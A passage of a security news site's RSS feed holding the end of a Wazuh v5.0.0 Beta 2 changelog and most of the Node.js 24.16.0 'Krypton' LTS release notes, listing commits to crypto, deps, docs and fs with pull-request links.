<li>Update CHANGELOG for v5.0.0 Beta 2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493854839" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36295" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36295/hovercard" href="https://github.com/wazuh/wazuh/pull/36295">#36295</a></li>
<li>Complete v5.0.0 Beta 2 stage bump and align spec.yaml blob URLs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494139494" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36297" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36297/hovercard" href="https://github.com/wazuh/wazuh/pull/36297">#36297</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hossam1522/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hossam1522">@hossam1522</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4119628979" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35089" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35089/hovercard" href="https://github.com/wazuh/wazuh/pull/35089">#35089</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/20syldev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/20syldev">@20syldev</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4231792036" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35358" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35358/hovercard" href="https://github.com/wazuh/wazuh/pull/35358">#35358</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Enaraque/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Enaraque">@Enaraque</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467686112" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36154" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36154/hovercard" href="https://github.com/wazuh/wazuh/pull/36154">#36154</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/wazuh/wazuh/compare/v5.0.0-beta1...v5.0.0-beta2"><tt>v5.0.0-beta1...v5.0.0-beta2</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-05-21, Version 24.16.0 'Krypton' (LTS), @aduh95]]></title>
<description><![CDATA[Notable Changes

[b267f6bca3] - (SEMVER-MINOR) crypto: implement randomUUIDv7() (nabeel378) #62553
[ec2451b9cd] - (SEMVER-MINOR) debugger: add edit-free runtime expression probes to node inspect (Joyee Cheung) #62713
[9705f628d9] - (SEMVER-MINOR) fs: add signal option to fs.stat() (Mert Can Altin...]]></description>
<link>https://tsecurity.de/de/3536530/downloads/2026-05-21-version-24160-krypton-lts-aduh95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3536530/downloads/2026-05-21-version-24160-krypton-lts-aduh95/</guid>
<pubDate>Thu, 21 May 2026 15:32:09 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/b267f6bca3"><code>b267f6bca3</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: implement <code>randomUUIDv7()</code> (nabeel378) <a href="https://github.com/nodejs/node/pull/62553" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62553/hovercard">#62553</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec2451b9cd"><code>ec2451b9cd</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>debugger</strong>: add edit-free runtime expression probes to <code>node inspect</code> (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62713" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62713/hovercard">#62713</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9705f628d9"><code>9705f628d9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: add signal option to <code>fs.stat()</code> (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/57775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57775/hovercard">#57775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/40ccfdecf9"><code>40ccfdecf9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: expose <code>frsize</code> field in <code>statfs</code> (Jinho Jang) <a href="https://github.com/nodejs/node/pull/62277" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62277/hovercard">#62277</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d7188af5c9"><code>d7188af5c9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: harden <code>ClientRequest</code> options merge (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63082" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63082/hovercard">#63082</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa1d8a9afc"><code>aa1d8a9afc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: add <code>req.signal</code> to <code>IncomingMessage</code> (Akshat) <a href="https://github.com/nodejs/node/pull/62541" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62541/hovercard">#62541</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6f37f7e240"><code>6f37f7e240</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: propagate destruction in <code>duplexPair</code> (Ahmed Elhor) <a href="https://github.com/nodejs/node/pull/61098" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61098/hovercard">#61098</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d14029be7f"><code>d14029be7f</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: support test order randomization (Pietro Marchini) <a href="https://github.com/nodejs/node/pull/61747" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61747/hovercard">#61747</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d142c584cd"><code>d142c584cd</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: align mock timeout api (sangwook) <a href="https://github.com/nodejs/node/pull/62820" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62820/hovercard">#62820</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/01a9552585"><code>01a9552585</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: add mock-timers support for <code>AbortSignal.timeout</code> (DeveloperViraj) <a href="https://github.com/nodejs/node/pull/60751" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60751/hovercard">#60751</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00705a459a"><code>00705a459a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>util</strong>: colorize text with hex colors (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/61556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61556/hovercard">#61556</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/dd72df060d"><code>dd72df060d</code></a>] - <strong>assert,util</strong>: fix stale nested cycle memo entries (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/62509" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62509/hovercard">#62509</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/add94f4bc3"><code>add94f4bc3</code></a>] - <strong>build</strong>: track PDL files as inputs in inspector GN build (Robo) <a href="https://github.com/nodejs/node/pull/62888" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62888/hovercard">#62888</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1b1eb9e334"><code>1b1eb9e334</code></a>] - <strong>build</strong>: remove redundant -fuse-linker-plugin from GCC LTO flags (Daniel Lando) <a href="https://github.com/nodejs/node/pull/62667" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62667/hovercard">#62667</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8752b604ec"><code>8752b604ec</code></a>] - <strong>crypto</strong>: deduplicate and canonicalize CryptoKey usages (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62902" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62902/hovercard">#62902</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/341947e7fd"><code>341947e7fd</code></a>] - <strong>crypto</strong>: reject unintended raw key format string input (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62974" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62974/hovercard">#62974</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28a78747fc"><code>28a78747fc</code></a>] - <strong>crypto</strong>: remove Argon2 KDF derivation from its job setup (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62863" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62863/hovercard">#62863</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/16e8c2b54d"><code>16e8c2b54d</code></a>] - <strong>crypto</strong>: fix unsigned conversion of 4-byte RSA publicExponent (DeepView Autofix) <a href="https://github.com/nodejs/node/pull/62839" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62839/hovercard">#62839</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eeae754a87"><code>eeae754a87</code></a>] - <strong>crypto</strong>: reject inherited key type names (Jonathan Lopes) <a href="https://github.com/nodejs/node/pull/62875" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62875/hovercard">#62875</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9dd5540325"><code>9dd5540325</code></a>] - <strong>crypto</strong>: add memory tracking for secureContext openssl objects (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/59051" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59051/hovercard">#59051</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b267f6bca3"><code>b267f6bca3</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: implement randomUUIDv7() (nabeel378) <a href="https://github.com/nodejs/node/pull/62553" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62553/hovercard">#62553</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7597d204c1"><code>7597d204c1</code></a>] - <strong>crypto</strong>: add support for Ed25519 context parameter (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62474" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62474/hovercard">#62474</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4bf85845da"><code>4bf85845da</code></a>] - <strong>debugger</strong>: move ProbeInspectorSession and helpers to separate files (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63013" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63013/hovercard">#63013</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec2451b9cd"><code>ec2451b9cd</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>debugger</strong>: add edit-free runtime expression probes to <code>node inspect</code> (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62713" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62713/hovercard">#62713</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83e98f77b7"><code>83e98f77b7</code></a>] - <strong>deps</strong>: update corepack to 0.35.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63375" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63375/hovercard">#63375</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec8c6b939a"><code>ec8c6b939a</code></a>] - <strong>deps</strong>: V8: cherry-pick 657d8de27427 (Guy Bedford) <a href="https://github.com/nodejs/node/pull/62784" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62784/hovercard">#62784</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/722c0c3274"><code>722c0c3274</code></a>] - <strong>deps</strong>: update nghttp3 to 1.14.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61187" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61187/hovercard">#61187</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5304db93d3"><code>5304db93d3</code></a>] - <strong>deps</strong>: update nghttp3 to 1.13.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60046" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60046/hovercard">#60046</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e073b3811d"><code>e073b3811d</code></a>] - <strong>deps</strong>: update nghttp3 to 1.11.0 (James M Snell) <a href="https://github.com/nodejs/node/pull/59249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59249/hovercard">#59249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1d00313fb2"><code>1d00313fb2</code></a>] - <strong>deps</strong>: update ngtcp2 to 1.14.0 (James M Snell) <a href="https://github.com/nodejs/node/pull/59249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59249/hovercard">#59249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8b3a4fc18f"><code>8b3a4fc18f</code></a>] - <strong>deps</strong>: update amaro to 1.1.9 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63090" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63090/hovercard">#63090</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/62fe0cfcd1"><code>62fe0cfcd1</code></a>] - <strong>deps</strong>: update llhttp to 9.4.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63045" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63045/hovercard">#63045</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/137e09c8e9"><code>137e09c8e9</code></a>] - <strong>deps</strong>: update corepack to 0.34.7 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62810" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62810/hovercard">#62810</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/14a4cb8fbc"><code>14a4cb8fbc</code></a>] - <strong>deps</strong>: update timezone to 2026b (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62962" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62962/hovercard">#62962</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3e1036583a"><code>3e1036583a</code></a>] - <strong>deps</strong>: upgrade npm to 11.13.0 (npm team) <a href="https://github.com/nodejs/node/pull/62898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62898/hovercard">#62898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/01dfe5961c"><code>01dfe5961c</code></a>] - <strong>deps</strong>: cherry-pick <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/libuv/libuv/commit/439a54b/hovercard" href="https://github.com/libuv/libuv/commit/439a54b">libuv/libuv@<tt>439a54b</tt></a> (skooch) <a href="https://github.com/nodejs/node/pull/62881" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62881/hovercard">#62881</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6cd368b10c"><code>6cd368b10c</code></a>] - <strong>deps</strong>: update sqlite to 3.53.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62699" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62699/hovercard">#62699</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f218a4f553"><code>f218a4f553</code></a>] - <strong>deps</strong>: update nbytes to 0.1.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62698" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62698/hovercard">#62698</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b47688524a"><code>b47688524a</code></a>] - <strong>deps</strong>: update archs files for openssl-3.5.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d202e2d343"><code>d202e2d343</code></a>] - <strong>deps</strong>: upgrade openssl sources to openssl-3.5.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2faba66341"><code>2faba66341</code></a>] - <strong>deps</strong>: update minimatch to 10.2.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62594" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62594/hovercard">#62594</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fa46c90c5d"><code>fa46c90c5d</code></a>] - <strong>deps</strong>: update googletest to d72f9c8aea6817cdf1ca0ac10887f328de7f3da2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62593/hovercard">#62593</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/099ded5713"><code>099ded5713</code></a>] - <strong>deps</strong>: update simdjson to 4.6.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62592" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62592/hovercard">#62592</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7ce95afe96"><code>7ce95afe96</code></a>] - <strong>deps</strong>: libuv: cherry-pick aabb7651de (Santiago Gimeno) <a href="https://github.com/nodejs/node/pull/62561" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62561/hovercard">#62561</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57ef845623"><code>57ef845623</code></a>] - <strong>deps</strong>: update icu to 78.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62324" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62324/hovercard">#62324</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/493ac40e12"><code>493ac40e12</code></a>] - <strong>deps</strong>: update libuv to 1.52.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61829" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61829/hovercard">#61829</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b39508b368"><code>b39508b368</code></a>] - <strong>deps</strong>: update undici to 7.25.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63011" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63011/hovercard">#63011</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cb67a925e9"><code>cb67a925e9</code></a>] - <strong>deps</strong>: use npm undici@seven tag in <code>update-undici.sh</code> (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62739" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62739/hovercard">#62739</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa1e0bc28b"><code>aa1e0bc28b</code></a>] - <strong>doc</strong>: fix typos and inconsistencies in crypto.md and webcrypto.md (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62828/hovercard">#62828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f2a1735ed9"><code>f2a1735ed9</code></a>] - <strong>doc</strong>: fix duplicate word "to to" in util.styleText (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62917" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62917/hovercard">#62917</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b6378e215c"><code>b6378e215c</code></a>] - <strong>doc</strong>: fix node-config-schema (Сковорода Никита Андреевич) <a href="https://github.com/nodejs/node/pull/61596" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61596/hovercard">#61596</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/233894a9ce"><code>233894a9ce</code></a>] - <strong>doc</strong>: fix the TypeScript Execute (tsx) project link (David Thornton) <a href="https://github.com/nodejs/node/pull/63093" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63093/hovercard">#63093</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5d97919f8f"><code>5d97919f8f</code></a>] - <strong>doc</strong>: correct diagnostics_channel built-in channel names (Bryan English) <a href="https://github.com/nodejs/node/pull/62995" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62995/hovercard">#62995</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a9ccc927e"><code>2a9ccc927e</code></a>] - <strong>doc</strong>: use mjs/cjs blocks for callbackify null reason example (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62884" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62884/hovercard">#62884</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef413b5358"><code>ef413b5358</code></a>] - <strong>doc</strong>: fix typo in test.md (Rich Trott) <a href="https://github.com/nodejs/node/pull/62960" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62960/hovercard">#62960</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/76f21c5070"><code>76f21c5070</code></a>] - <strong>doc</strong>: correct typo in PR contribution instructions (Mike McCready) <a href="https://github.com/nodejs/node/pull/62738" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62738/hovercard">#62738</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ca02af1f7d"><code>ca02af1f7d</code></a>] - <strong>doc</strong>: fix duplicate word "of of" in postMessageToThread (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62917" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62917/hovercard">#62917</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46c99ed526"><code>46c99ed526</code></a>] - <strong>doc</strong>: fix duplicate word "for for" in compile cache (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62917" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62917/hovercard">#62917</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1a60851734"><code>1a60851734</code></a>] - <strong>doc</strong>: fix typo in dns.lookup options description (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62882" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62882/hovercard">#62882</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/169b5ea2ed"><code>169b5ea2ed</code></a>] - <strong>doc</strong>: fix Argon2 parameter bounds (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/62868" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62868/hovercard">#62868</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a3a190f4e"><code>9a3a190f4e</code></a>] - <strong>doc</strong>: clarify diffieHellman.generateKeys recomputes same key (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62205" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62205/hovercard">#62205</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0fba9e87d6"><code>0fba9e87d6</code></a>] - <strong>doc</strong>: remove Ayase-252 and meixg from triagger team (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62841" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62841/hovercard">#62841</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9c700f3446"><code>9c700f3446</code></a>] - <strong>doc</strong>: clarify dns.lookup() callback signature when all is true (eungi) <a href="https://github.com/nodejs/node/pull/62800" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62800/hovercard">#62800</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6b7280bc17"><code>6b7280bc17</code></a>] - <strong>doc</strong>: add experimental modules lifetime policy (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/62753" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62753/hovercard">#62753</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce47ea31c9"><code>ce47ea31c9</code></a>] - <strong>doc</strong>: clarify process._debugProcess() in Permission Model (Fahad Khan) <a href="https://github.com/nodejs/node/pull/62537" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62537/hovercard">#62537</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ba01633757"><code>ba01633757</code></a>] - <strong>doc</strong>: fix typo in devcontainer guide (Rohan Santhosh Kumar) <a href="https://github.com/nodejs/node/pull/62687" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62687/hovercard">#62687</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/70b4d5839b"><code>70b4d5839b</code></a>] - <strong>doc</strong>: clarify Backport-PR-URL metadata added automatically (Mike McCready) <a href="https://github.com/nodejs/node/pull/62668" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62668/hovercard">#62668</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8126d1c3eb"><code>8126d1c3eb</code></a>] - <strong>doc</strong>: update WPT test runner README.md (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62680" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62680/hovercard">#62680</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/978afea4b5"><code>978afea4b5</code></a>] - <strong>doc</strong>: fix spelling in release announcement guidance (Rohan Santhosh Kumar) <a href="https://github.com/nodejs/node/pull/62663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62663/hovercard">#62663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1684ab8ff8"><code>1684ab8ff8</code></a>] - <strong>doc</strong>: note non-monotonic clock in crypto.randomUUIDv7 (nabeel378) <a href="https://github.com/nodejs/node/pull/62600" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62600/hovercard">#62600</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/86d4f07930"><code>86d4f07930</code></a>] - <strong>doc</strong>: update bug bounty program (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/62590" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62590/hovercard">#62590</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/736ed8a08f"><code>736ed8a08f</code></a>] - <strong>doc</strong>: document TransformStream transformer.cancel option (Tom Pereira) <a href="https://github.com/nodejs/node/pull/62566" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62566/hovercard">#62566</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/938af9be01"><code>938af9be01</code></a>] - <strong>doc</strong>: mention test runner retry attemp is zero based (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62504" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62504/hovercard">#62504</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/94433e450f"><code>94433e450f</code></a>] - <strong>doc,src,test</strong>: fix dead inspector help URL (semimikoh) <a href="https://github.com/nodejs/node/pull/62745" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62745/hovercard">#62745</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ddf1f01659"><code>ddf1f01659</code></a>] - <strong>esm</strong>: add <code>ERR_REQUIRE_ESM_RACE_CONDITION</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62462" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62462/hovercard">#62462</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4a506acd16"><code>4a506acd16</code></a>] - <strong>fs</strong>: add followSymlinks option to glob (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62695" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62695/hovercard">#62695</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f4ea495f9b"><code>f4ea495f9b</code></a>] - <strong>fs</strong>: restore fs patchability in ESM loader (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62835" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62835/hovercard">#62835</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/63c111cd60"><code>63c111cd60</code></a>] - <strong>fs</strong>: validate position argument before length === 0 early return (Edy Silva) <a href="https://github.com/nodejs/node/pull/62674" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62674/hovercard">#62674</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9705f628d9"><code>9705f628d9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: add signal option to fs.stat() (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/57775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57775/hovercard">#57775</a></li>
